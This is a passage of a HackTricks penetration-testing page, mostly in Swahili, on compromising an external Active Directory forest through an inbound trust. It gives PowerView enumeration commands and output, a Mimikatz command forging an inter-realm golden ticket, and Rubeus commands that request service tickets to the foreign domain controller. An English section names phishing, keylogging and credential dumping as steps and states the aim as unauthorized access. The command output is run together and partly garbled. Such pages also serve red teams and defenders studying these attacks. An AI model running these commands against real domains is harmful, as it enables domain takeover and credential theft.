Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
Katika hali hii, kikoa cha nje kinakuamini (au vyote viwili vinakuamini), hivyo unaweza kupata aina fulani ya ufikiaji juu yake.
Uchunguzi
Kwanza kabisa, unahitaji kuchunguzaimani:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
Katika uchunguzi uliopita iligundulika kuwa mtumiaji crossuser yuko ndani ya kikundi cha External Admins ambacho kina upatikanaji wa Msimamizi ndani ya DC ya kikoa cha nje.
Upatikanaji wa Awali
Ikiwa hukupata upatikanaji wa maalum wa mtumiaji wako katika kikoa kingine, bado unaweza kurudi kwenye Methodolojia ya AD na jaribu privesc kutoka kwa mtumiaji asiye na mamlaka (vitu kama kerberoasting kwa mfano):
Unaweza kutumia Powerview functions kwa uchambuzi wa kikoa kingine kwa kutumia paramu ya -Domain kama ifuatavyo:
Unaweza pia kutumia Historia ya SID kwenye uaminifu wa misitu.
Ikiwa mtumiaji amehamishiwa kutoka msitu mmoja hadi mwingine na Uchujaji wa SID haujaanzishwa, inawezekana kuongeza SID kutoka msitu mwingine, na hii SID itaongezwa kwenye kitufe cha mtumiaji wakati wa kuthibitisha katika uaminifu.
Kama ukumbusho, unaweza kupata ufunguo wa kusaini na
Unaweza saini na ufunguo unaouaminika TGT ukiiga mtumiaji wa kikoa cha sasa.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Njia kamili ya kujifanya kuwa mtumiaji
To impersonate a user in an external forest domain, follow these steps:
Obtain the user's credentials: This can be done through various methods such as phishing, keylogging, or password cracking.
Establish a connection to the domain controller (DC) of the external forest domain: Use tools like mimikatz or lsadump to extract the NTLM hash or plaintext password of the user.
Pass the user's credentials to the DC: Use tools like mimikatz or pth-winexe to pass the obtained credentials to the DC.
Obtain a Kerberos ticket-granting ticket (TGT): Use tools like mimikatz or kekeo to request a TGT for the user from the DC.
Generate a Kerberos service ticket: Use tools like mimikatz or kekeo to generate a service ticket for the desired service using the obtained TGT.
Use the generated service ticket: Pass the service ticket to the desired service to gain access as the impersonated user.
By following these steps, you can fully impersonate a user in an external forest domain and gain unauthorized access to resources within that domain.
# Get a TGT of the user with cross-domain permissionsRubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the userRubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!